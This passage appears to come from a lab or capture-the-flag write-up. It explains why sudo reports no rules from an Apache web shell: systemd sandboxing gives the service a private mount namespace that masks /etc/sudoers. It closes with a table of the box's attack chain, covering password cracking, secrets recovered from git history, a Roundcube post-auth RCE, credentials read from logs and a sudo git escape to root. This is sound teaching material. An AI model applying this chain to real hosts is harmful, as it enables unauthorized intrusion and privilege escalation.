grep -E '^(www-data|justin|gilbert):' /etc/passwd
1
2
3
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
justin:x:1000:1000:justin:/home/justin:/bin/bash
gilbert:x:1001:1001:,,,:/home/gilbert:/bin/bash

Run it and it prints a refusal and exits non-zero, so it never becomes a shell of either kind. That is what would stop su www-data from returning a prompt. It also explains a detail of section 6 that is easy to skim past: the injected payload executes bash -i by name instead of requesting a login, so nothing ever consults the shell field and nologin never gets a vote. A nologin shell defends the paths that read /etc/passwd to decide what to start, which is login, sshd and su. It does nothing about code execution that names its own interpreter, which is the only kind this box ever gave up.

Now the test. From the same reverse shell:

1
su - gilbert
1
sudo -l
1
sudo: Sorry, user gilbert may not run sudo on lk-linux2.

Identical refusal. The same holds for every nesting order tried: su justin then su gilbert, su - justin then su - gilbert, directly from www-data or through an intermediate account. Hypothesis 1 is dead. A correct login shell changes nothing.

It did, however, print something that got dismissed at the time:

1
2
-bash: /proc/sys/kernel/random/uuid: No such file or directory
-bash: /proc/sys/kernel/random/boot_id: No such file or directory

Those lines only appear under su -, because only a login shell runs the profile scripts that read those files. The natural reading is a broken profile script, and that reading is wrong. Park it; it is the answer, four hypotheses early.

Hypothesis 2: su does not create a real session

The second candidate has the man page apparently endorsing it, in the same entry:

Note that on systemd(1)-based systems, a new session may be defined as a real entry point to the system. However, su does not create a real session (by PAM) from this point of view. You need to use tools like systemd-run(1) or machinectl(1) to initiate a complete, real session.

If sudo’s behaviour depended on a PAM session, this would explain everything. So compare the two PAM stacks. Both /etc/pam.d/su and /etc/pam.d/sshd pull in common-session, and that is where logind registration lives:

1
grep -vE '^\s*#|^$' /etc/pam.d/common-session
1
2
3
4
5
6
session	[default=1]	pam_permit.so
session	requisite	pam_deny.so
session	required	pam_permit.so
session optional	pam_umask.so
session	required	pam_unix.so
session	optional	pam_systemd.so

So su does talk to logind. What it does not do is create a new session: it inherits the caller’s. Opening su gilbert inside the SSH session and asking logind who owns it gives sshd’s session, with sshd still the leader:

1
2
3
17 - gilbert (1001)
  State: active
 Leader: 4131 (sshd-session)

That inheritance survives a change of uid, which is the part worth internalising. Running su root from the SSH session produces a shell that is genuinely root and still sits inside gilbert’s login session:

1
id -u; cat /proc/self/cgroup; loginctl session-status | head -3
1
2
3
4
5
0
0::/user.slice/user-1001.slice/session-22.scope
22 - gilbert (1001)
  Since: Wed 2026-09-09 16:30:31 UTC; 10s ago
  State: active

Session membership, effective uid, and namespace membership are three independent properties of a process, and changing one does not touch the other two. Becoming root does not relocate you into system.slice and does not open a new session.

There is one genuine difference between the stacks, and it turns out to be irrelevant to sudo. /etc/pam.d/sshd carries session required pam_loginuid.so and /etc/pam.d/su does not, so an SSH login stamps the kernel’s audit login uid while su leaves it alone:

1
2
cat /proc/self/loginuid          # from the SSH session
cat /proc/$APID/loginuid         # apache
1
2
1001
4294967295

4294967295 is (uid_t)-1, the unset value, and it is a reliable fingerprint for “this process did not descend from a login”. It is readable without any privilege, which makes it a genuinely useful thing to check from a foothold. It also has no bearing on sudoers evaluation whatsoever. Hypothesis 2 is dead. The session is not the discriminator.

Hypothesis 3: the web shell is in a container

Two hypotheses about identity have failed, so the next move is to stop asking who the process is and start asking where it is. The blunt version of that question is whether the web shell is containerised:

1
2
3
4
APID=$(systemctl show -p MainPID --value apache2)
for n in mnt pid net ipc uts user cgroup time; do
  printf '%-7s host=%-22s apache=%s\n' "$n" "$(readlink /proc/self/ns/$n)" "$(readlink /proc/$APID/ns/$n)"
done
1
2
3
4
5
6
7
8
mnt     host=mnt:[4026531832]     apache=mnt:[4026532207]
pid     host=pid:[4026531836]     apache=pid:[4026531836]
net     host=net:[4026531833]     apache=net:[4026531833]
ipc     host=ipc:[4026531839]     apache=ipc:[4026531839]
uts     host=uts:[4026531838]     apache=uts:[4026532262]
user    host=user:[4026531837]    apache=user:[4026531837]
cgroup  host=cgroup:[4026531835]  apache=cgroup:[4026531835]
time    host=time:[4026531834]    apache=time:[4026531834]

Not a container. The PID namespace is shared, which is why the reverse shell reports echo $$ as 3127 and root on the host sees that same process as 3127; in a PID namespace it would call itself 1. The network, the user database and the cgroup tree are all the machine’s own, and systemctl show confirms there is no root pivot either:

1
2
RootDirectory=
RootImage=

Hypothesis 3 is dead as stated, and it is the productive failure. Two of the eight namespaces are private, and one of them is mnt. Nothing was entered. The service was handed a modified view of the filesystem it was already in.

Which is when the parked clue pays. /proc/sys/kernel/random/uuid was never missing from the machine. It was missing from that process tree’s filesystem, and the shell reported it accurately the first time anyone ran su -.

The test that settles it

If the mount namespace is the variable and the shell type is not, then a non-login su gilbert, the exact command that failed from the reverse shell, should succeed when run inside the host namespace. It does:

1
su gilbert
1
2
echo "ns=$(readlink /proc/self/ns/mnt) argv0=$0"
sudo -l
1
2
3
4
ns=mnt:[4026531832] argv0=bash
[sudo: authenticate] Password:
User gilbert may run the following commands on lk-linux2:
    (root) /usr/bin/git diff *

argv0=bash, so this is not a login shell by the definition established in hypothesis 1, and it lists the rule anyway. Same command, same user, same binary, opposite answers, with the mount namespace as the only difference between the two runs. That is the experiment the first three hypotheses each failed to be.

Where the private namespace comes from

1
systemctl cat apache2.service
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PrivateTmp=true
DevicePolicy=closed
KeyringMode=private
LockPersonality=yes
MemoryDenyWriteExecute=yes
PrivateDevices=yes
ProtectClock=yes
ProtectControlGroups=yes
ProtectHome=read-only
ProtectHostname=yes
ProtectKernelLogs=yes
ProtectKernelModules=yes
ProtectKernelTunables=yes
ProtectSystem=full
RestrictNamespaces=yes
RestrictRealtime=yes
RestrictSUIDSGID=yes
SystemCallArchitectures=native
ProtectProc=invisible
ProcSubset=pid

ReadWritePaths=/var/log/apache2
ReadWritePaths=/var/cache/apache2/mod_cache_disk

InaccessiblePaths=/boot
InaccessiblePaths=/root
InaccessiblePaths=-/etc/sudoers
InaccessiblePaths=-/etc/sudoers.d
InaccessiblePaths=-/etc/ssh
InaccessiblePaths=-/etc/apt
InaccessiblePaths=-/etc/.git
InaccessiblePaths=-/etc/.svn

Every symptom in this section is on that list. ProtectHostname=yes accounts for the private uts namespace, and PrivateTmp=true alone would have been enough to create the private mnt namespace before any of the rest.

The tempting read is that a lab author bolted this on. The packaging system disagrees:

1
2
3
md5sum /usr/lib/systemd/system/apache2.service
grep apache2.service /var/lib/dpkg/info/apache2.md5sums
dpkg -V apache2
1
2
8e5b76929e1c35cfe706e88af8ecb7e0  /usr/lib/systemd/system/apache2.service
8e5b76929e1c35cfe706e88af8ecb7e0  usr/lib/systemd/system/apache2.service

The checksums match, dpkg -V reports nothing, and DropInPaths= is empty, so as far as the system is concerned this is the packaged unit with no local modification. Whatever produced it, the operational conclusion is the uncomfortable one: this is what the service looks like out of the box, so every enumeration result collected through a web shell on a host like this is filtered before you see it, and nothing announces the filter.

How InaccessiblePaths actually hides a file

InaccessiblePaths= is not a permission change, which is why it produces such confusing symptoms. systemd keeps a set of empty, mode 000 nodes of every file type:

1
ls -la /run/systemd/inaccessible/
1
2
3
4
5
6
b---------  1 root root 0, 0 blk
c---------  1 root root 0, 0 chr
d---------  2 root root   40 dir
p---------  1 root root    0 fifo
----------  1 root root    0 reg
s---------  1 root root    0 sock

and bind-mounts the type-appropriate one over each listed path inside the service’s namespace. Apache’s mount table shows the substitution directly, along with the read-only binds that ProtectSystem=full and ProtectHome=read-only produce:

1
grep -E ' /etc| /home| /tmp| /proc| /root| /boot' /proc/$APID/mountinfo
1
2
3
4
5
6
7
8
9
10
179 178 252:0 /etc  /etc  ro,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
182 179 0:28 /systemd/inaccessible/reg /etc/sudoers   ro,nosuid,nodev,noexec - tmpfs tmpfs
183 179 0:28 /systemd/inaccessible/dir /etc/sudoers.d ro,nosuid,nodev,noexec - tmpfs tmpfs
181 179 0:28 /systemd/inaccessible/dir /etc/ssh       ro,nosuid,nodev,noexec - tmpfs tmpfs
180 179 0:28 /systemd/inaccessible/dir /etc/apt       ro,nosuid,nodev,noexec - tmpfs tmpfs
193 178 0:28 /systemd/inaccessible/dir /root          ro,nosuid,nodev,noexec - tmpfs tmpfs
201 178 0:28 /systemd/inaccessible/dir /boot          ro,nosuid,nodev,noexec - tmpfs tmpfs
207 178 252:0 /home /home ro,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
208 178 0:47 /     /proc  rw,nosuid,nodev,noexec,relatime - proc proc rw,hidepid=invisible,subset=pid
198 200 0:36 /systemd-private-9d1350708dd948d096dc7fe80a7384b5-apache2.service-SIYgku/tmp /tmp rw,nosuid,nodev - tmpfs tmpfs

Stat the same two paths from each side and the substitution is unmistakable:

1
2
stat -c '%n | %s bytes | mode %a | %F' /etc/sudoers /etc/sudoers.d
nsenter -t $APID -m -- stat -c '%n | %s bytes | mode %a | %F' /etc/sudoers /etc/sudoers.d
1
2
3
4
5
/etc/sudoers   | 1835 bytes | mode 440 | regular file
/etc/sudoers.d | 4096 bytes | mode 755 | directory

/etc/sudoers   | 0 bytes | mode 0 | regular empty file
/etc/sudoers.d | 40 bytes | mode 0 | directory

This explains the exact wording of sudo’s refusal. sudo is setuid root, so it opens /etc/sudoers successfully in both views. Inside the namespace it gets a zero-byte file, parses a policy containing no rules, and reports the truth about that policy:

1
2
sudo -l -U gilbert                      # from the host
nsenter -t $APID -m -- sudo -l -U gilbert
1
2
3
4
User gilbert may run the following commands on lk-linux2:
    (root) /usr/bin/git diff *

User gilbert is not allowed to run sudo on lk-linux2.

Which reframes the message that started this whole detour. It was never about gilbert. Inside that namespace the policy is empty for every account on the box, which is exactly what su justin followed by sudo -l had already shown in section 7 without anyone noticing. A refusal that applies universally is a statement about the file, not about the user, and that is a cheap tell to check for: if nobody can sudo, ask whether sudo can read anything.

The real policy, incidentally, is not quite what sudo -l prints:

1
gilbert ALL=(root) /bin/git diff *

sudoers says /bin/git and sudo displays /usr/bin/git, because it resolves the path through the merged-usr symlink before printing. Worth knowing when a rule you are attacking does not match the binary you were told about.

Three more things that look like the answer

The mechanism is settled, but three details in the evidence above will send a reader down the wrong path if taken at face value.

PrivateMounts=no does not mean there is no private mount namespace. systemctl show says exactly that:

1
PrivateMounts=no

while /proc/1165/ns/mnt reads mnt:[4026532207]. Both are correct, because PrivateMounts= is not the only directive that creates one. systemd.exec(5) opens its description of the path options with the answer:

ReadWritePaths=, ReadOnlyPaths=, InaccessiblePaths=, ExecPaths=, NoExecPaths=

Sets up a new file system namespace for executed processes.

ProtectSystem=, ProtectHome=, ProtectProc= and PrivateTmp= imply one as well. Reading a single directive to decide whether a service is namespaced gives the wrong answer; readlink /proc/PID/ns/mnt is the only check that cannot be misread.

The - in -/etc/sudoers is not a negation. It reads like one and it is not. From the same man page:

Paths in ReadWritePaths=, ReadOnlyPaths=, InaccessiblePaths=, ExecPaths= and NoExecPaths= may be prefixed with “-“, in which case they will be ignored when they do not exist.

It is a tolerance marker for a path that may be absent. -/etc/sudoers is masked exactly as hard as the undashed /root; the dash only means the unit still starts on a host where that file does not exist.

ProtectKernelTunables=yes is not what hid /proc/sys. It is on the unit, and it mounts /proc/sys read-only rather than removing it. The removal comes from ProcSubset=pid:

1
2
nsenter -t $APID -m -- findmnt -T /proc -o TARGET,FSTYPE,OPTIONS
nsenter -t $APID -m -- ls -ld /proc/sys
1
2
/proc  proc   rw,nosuid,nodev,noexec,relatime,hidepid=invisible,subset=pid
ls: cannot access '/proc/sys': No such file or directory

Read-only and absent are different states producing different errors, and the error bash printed back in hypothesis 1 was No such file or directory. Matching the error text to the directive that produces it is the difference between the right answer and a plausible one.

Why su cannot escape it

A mount namespace is process state, not user state. Changing uid does not touch it, and joining another one means calling setns(2) on a namespace file descriptor, which requires CAP_SYS_ADMIN in the target user namespace. su, su -, sudo, script, a pty upgrade: none of them attempt it, because none of them are namespace tools. The unit closes the other direction too, with RestrictNamespaces=yes, so the service cannot create new namespaces either.

That leaves exactly one move, and it is not a better shell, it is a different origin. Any process created outside the service starts in the machine’s own mount table. sshd was the available one here, but cron, a console login, a systemd timer, or a foothold in any service that is not sandboxed this way would all have worked identically. vsftpd, for instance, is completely unsandboxed on this host:

1
systemctl show vsftpd -p ProtectHome -p ProtectSystem -p InaccessiblePaths -p PrivateTmp -p ProcSubset
1
2
3
4
5
ProtectHome=no
ProtectSystem=no
InaccessiblePaths=
PrivateTmp=no
ProcSubset=all

Code execution through the FTP daemon would have landed in mnt:[4026531832] and seen the sudo rule immediately.

The other two costumes

With the mechanism established, the two symptoms from sections 4 and 10 resolve in a line each.

The read-only home. ProtectHome=read-only bind-mounts /home read-only inside the service namespace only. On the host, /home is not even a separate mount:

1
2
3
findmnt /home                                  # host: no output, not a mount point
nsenter -t $APID -m -- findmnt -no SOURCE,TARGET,FSTYPE,OPTIONS /home
runuser -u justin -- touch /home/justin/.ssh/probe && echo WRITABLE
1
2
/dev/mapper/ubuntu--vg-ubuntu--lv[/home] /home ext4 ro,relatime
WRITABLE

Justin’s home is writable on this machine, and the authorized_keys append would have succeeded from anywhere outside Apache’s sandbox. What protects that file is not a mount option, it is that the only code execution available at that point in the chain was inside the one process tree where /home is read-only.

The private /tmp. PrivateTmp=true gives the service its own tmpfs, mounted from /tmp/systemd-private-<boot-id>-apache2.service-<random>/tmp. Files staged in /tmp from the web shell are real and writable, and also invisible to every process outside that namespace. Drop a binary there, fail to find it from a second session, and nothing is broken: those are two different directories that share a path.

Login shell, login session, namespace: three different things

The three hypotheses failed because they were all asking about the first two rows of this table when the answer was in the fourth.

ConceptCreated byObserved withDiffered here?
Login shellargv[0] starting with -echo $0No
PAM sessionpam_unix, pam_systemdloginctl session-statusNo
Audit login uidpam_loginuid.socat /proc/self/loginuidYes, irrelevant
Mount namespacesystemd sandbox directivesreadlink /proc/self/ns/mntYes, decisive

Every wrong answer in this section was a property of the session, meaning something authentication creates, or a single configuration line read in isolation. The right answer was a property of the process, which no amount of authentication changes. When two shells on one host disagree about a fact, compare what the kernel says about each process, readlink /proc/self/ns/*, /proc/self/mountinfo, /proc/self/cgroup, before comparing anything about the users holding them.


Understanding the Attack Chain

Every step in the intended path is either a service doing exactly what it was configured to do or a published bug in a version that was never updated. The table separates what each piece is worth on its own from what it is worth in sequence.

PrimitiveWhere it livesSeverity in isolationSeverity composed
Anonymous FTP readvsftpd.confLow: file listingDelivers every artifact in the chain
Four upstream templatesThe FTP shareNoneTime sink hiding the one real file
Joomla default bobby7joomla.sqlNone: vendor sampleA grep hit that leads nowhere
WinZip AES on app.zipThe archive headerMedium if strongFalls to rockyou.txt in 4 seconds
.git inside the archivePackaging mistakeLow: source disclosureCarries the deleted blob
Secret removed by commit.env.local historyCritical if reachablejustin password, still in git show
Password reuseApp config equals Linux accountHighTurns a config value into a login
SSH publickey only for justinMatch Group justinHardeningForces the chain through the web app
SSH password auth for gilbertSame config, other scopeLow on its ownLogin session that reveals the sudo rule
InaccessiblePaths on sudoersapache2.serviceHardeningEmpty sudo policy in the web shell
PrivateTmp on the web shellapache2.serviceHardeningStaged files invisible outside it
write_enable unset in vsftpd/etc/vsftpd.confHardeningRefuses the authorized_keys upload
ProtectHome=read-onlyapache2.serviceHardeningBlocks that write from the web shell
Unlinked Roundcube 1.6.10/roundcubeMedium: login pageThe one authenticated attack surface
CVE-2025-49113Session serializer plus PEAR gadgetCritical post-authCredentials become RCE as www-data
su accepts the passwordPAM, no policy switchBy designwww-data becomes justin
adm group membershipjustin supplementary groupLow: log readOpens the rotated vsftpd log
Password in the FTP loganon password "..." fieldCritical if readablegilbert credentials in clear text
sudo git diff *sudoers ruleLooks narrowRoot through the less escape
DirtyFrag kernel LPECVE-2026-43284Critical for any local userRoot without touching the sudo rule
This post is licensed under CC BY 4.0 by the author.